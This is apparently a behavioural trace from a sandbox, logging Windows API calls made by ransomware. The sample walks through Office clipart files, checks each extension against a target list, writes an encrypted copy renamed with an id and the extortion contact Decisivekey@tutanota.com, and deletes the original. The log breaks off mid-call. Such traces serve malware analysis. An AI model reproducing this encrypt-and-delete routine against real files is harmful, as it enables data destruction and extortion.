lstrlenW (lpString=".pdf") returned 4 [0224.960] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0224.960] lstrlenW (lpString=".xls") returned 4 [0224.960] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0224.960] lstrlenW (lpString=".xlsx") returned 5 [0224.960] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0224.960] lstrlenW (lpString=".ppt") returned 4 [0224.960] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0224.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0224.960] lstrlenW (lpString=".zip") returned 4 [0224.960] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0224.960] lstrlenW (lpString=".rar") returned 4 [0224.960] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0224.960] lstrlenW (lpString=".bz2") returned 4 [0224.960] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0224.960] lstrlenW (lpString=".7z") returned 3 [0224.960] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0224.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0224.960] lstrlenW (lpString=".dbf") returned 4 [0224.960] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0224.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0224.960] lstrlenW (lpString=".1cd") returned 4 [0224.960] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0224.960] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0224.960] lstrlenW (lpString=".jpg") returned 4 [0224.961] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0224.962] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=6929) returned 1 [0224.962] CloseHandle (hObject=0x16c) returned 1 [0224.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg")) returned 0x20 [0224.962] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0224.962] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.962] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0224.962] GetLastError () returned 0x0 [0224.962] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x1b11, lpOverlapped=0x0) returned 1 [0224.995] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1b20, lpOverlapped=0x0) returned 1 [0224.995] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0224.995] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0224.995] SetEndOfFile (hFile=0x184) returned 1 [0224.995] CloseHandle (hObject=0x184) returned 1 [0224.995] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.996] SetEndOfFile (hFile=0x16c) returned 1 [0224.996] CloseHandle (hObject=0x16c) returned 1 [0224.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0224.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg")) returned 1 [0224.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0224.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0224.996] lstrlenW (lpString=".doc") returned 4 [0224.996] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0224.996] lstrlenW (lpString=".docx") returned 5 [0224.996] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0224.997] lstrlenW (lpString=".pdf") returned 4 [0224.997] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0224.997] lstrlenW (lpString=".xls") returned 4 [0224.997] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0224.997] lstrlenW (lpString=".xlsx") returned 5 [0224.997] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0224.997] lstrlenW (lpString=".ppt") returned 4 [0224.997] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0224.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0224.997] lstrlenW (lpString=".zip") returned 4 [0224.997] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0224.997] lstrlenW (lpString=".rar") returned 4 [0224.997] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0224.997] lstrlenW (lpString=".bz2") returned 4 [0224.997] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0224.997] lstrlenW (lpString=".7z") returned 3 [0224.997] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0224.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0224.997] lstrlenW (lpString=".dbf") returned 4 [0224.997] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0224.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0224.997] lstrlenW (lpString=".1cd") returned 4 [0224.997] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0224.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG") returned 63 [0224.997] lstrlenW (lpString=".jpg") returned 4 [0224.997] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0224.997] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=27546) returned 1 [0224.997] CloseHandle (hObject=0x16c) returned 1 [0224.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf")) returned 0x20 [0224.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0224.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0224.997] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.998] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0224.998] GetLastError () returned 0x0 [0224.998] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x6b9a, lpOverlapped=0x0) returned 1 [0225.008] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x6ba0, lpOverlapped=0x0) returned 1 [0225.009] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.009] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.009] SetEndOfFile (hFile=0x184) returned 1 [0225.009] CloseHandle (hObject=0x184) returned 1 [0225.009] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.009] SetEndOfFile (hFile=0x16c) returned 1 [0225.010] CloseHandle (hObject=0x16c) returned 1 [0225.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.010] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf")) returned 1 [0225.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0225.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0225.010] lstrlenW (lpString=".doc") returned 4 [0225.010] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0225.010] lstrlenW (lpString=".docx") returned 5 [0225.010] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0225.010] lstrlenW (lpString=".pdf") returned 4 [0225.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0225.010] lstrlenW (lpString=".xls") returned 4 [0225.010] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0225.010] lstrlenW (lpString=".xlsx") returned 5 [0225.010] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0225.010] lstrlenW (lpString=".ppt") returned 4 [0225.010] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0225.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0225.010] lstrlenW (lpString=".zip") returned 4 [0225.010] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0225.010] lstrlenW (lpString=".rar") returned 4 [0225.010] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0225.010] lstrlenW (lpString=".bz2") returned 4 [0225.010] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0225.010] lstrlenW (lpString=".7z") returned 3 [0225.010] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0225.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0225.011] lstrlenW (lpString=".dbf") returned 4 [0225.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0225.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0225.011] lstrlenW (lpString=".1cd") returned 4 [0225.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0225.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0225.011] lstrlenW (lpString=".jpg") returned 4 [0225.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0225.011] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=19656) returned 1 [0225.011] CloseHandle (hObject=0x16c) returned 1 [0225.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg")) returned 0x20 [0225.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.011] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.011] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0225.012] GetLastError () returned 0x0 [0225.012] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x4cc8, lpOverlapped=0x0) returned 1 [0225.018] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x4cd0, lpOverlapped=0x0) returned 1 [0225.019] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.019] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.019] SetEndOfFile (hFile=0x184) returned 1 [0225.019] CloseHandle (hObject=0x184) returned 1 [0225.019] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.019] SetEndOfFile (hFile=0x16c) returned 1 [0225.020] CloseHandle (hObject=0x16c) returned 1 [0225.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.020] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg")) returned 1 [0225.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0225.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0225.020] lstrlenW (lpString=".doc") returned 4 [0225.020] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0225.020] lstrlenW (lpString=".docx") returned 5 [0225.020] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0225.020] lstrlenW (lpString=".pdf") returned 4 [0225.020] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0225.020] lstrlenW (lpString=".xls") returned 4 [0225.020] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0225.020] lstrlenW (lpString=".xlsx") returned 5 [0225.020] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0225.020] lstrlenW (lpString=".ppt") returned 4 [0225.020] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0225.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0225.020] lstrlenW (lpString=".zip") returned 4 [0225.020] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0225.020] lstrlenW (lpString=".rar") returned 4 [0225.020] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0225.020] lstrlenW (lpString=".bz2") returned 4 [0225.021] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0225.021] lstrlenW (lpString=".7z") returned 3 [0225.021] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0225.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0225.030] lstrlenW (lpString=".dbf") returned 4 [0225.030] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0225.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0225.030] lstrlenW (lpString=".1cd") returned 4 [0225.030] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0225.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0225.031] lstrlenW (lpString=".jpg") returned 4 [0225.031] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0225.036] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.036] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0225.037] GetLastError () returned 0x0 [0225.037] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xfcff, lpOverlapped=0x0) returned 1 [0225.056] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xfd00, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xfd00, lpOverlapped=0x0) returned 1 [0225.058] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.058] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0225.058] SetEndOfFile (hFile=0x184) returned 1 [0225.058] CloseHandle (hObject=0x184) returned 1 [0225.058] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.058] SetEndOfFile (hFile=0x16c) returned 1 [0225.064] CloseHandle (hObject=0x16c) returned 1 [0225.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0225.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099166.jpg")) returned 1 [0225.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0225.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0225.064] lstrlenW (lpString=".doc") returned 4 [0225.064] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0225.064] lstrlenW (lpString=".docx") returned 5 [0225.064] lstrcmpiW (lpString1=".docx", lpString2="6.JPG") returned -1 [0225.064] lstrlenW (lpString=".pdf") returned 4 [0225.064] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0225.064] lstrlenW (lpString=".xls") returned 4 [0225.064] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0225.064] lstrlenW (lpString=".xlsx") returned 5 [0225.064] lstrcmpiW (lpString1=".xlsx", lpString2="6.JPG") returned -1 [0225.064] lstrlenW (lpString=".ppt") returned 4 [0225.064] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0225.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0225.064] lstrlenW (lpString=".zip") returned 4 [0225.064] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0225.064] lstrlenW (lpString=".rar") returned 4 [0225.064] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0225.064] lstrlenW (lpString=".bz2") returned 4 [0225.064] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0225.064] lstrlenW (lpString=".7z") returned 3 [0225.064] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0225.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0225.064] lstrlenW (lpString=".dbf") returned 4 [0225.065] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0225.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0225.065] lstrlenW (lpString=".1cd") returned 4 [0225.065] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0225.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099166.JPG") returned 63 [0225.065] lstrlenW (lpString=".jpg") returned 4 [0225.065] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0225.065] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=58258) returned 1 [0225.065] CloseHandle (hObject=0x16c) returned 1 [0225.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf")) returned 0x20 [0225.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0225.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0225.065] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.066] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0225.066] GetLastError () returned 0x0 [0225.066] ReadFile (in: hFile=0x16c, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0xe392, lpOverlapped=0x0) returned 1 [0225.084] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: 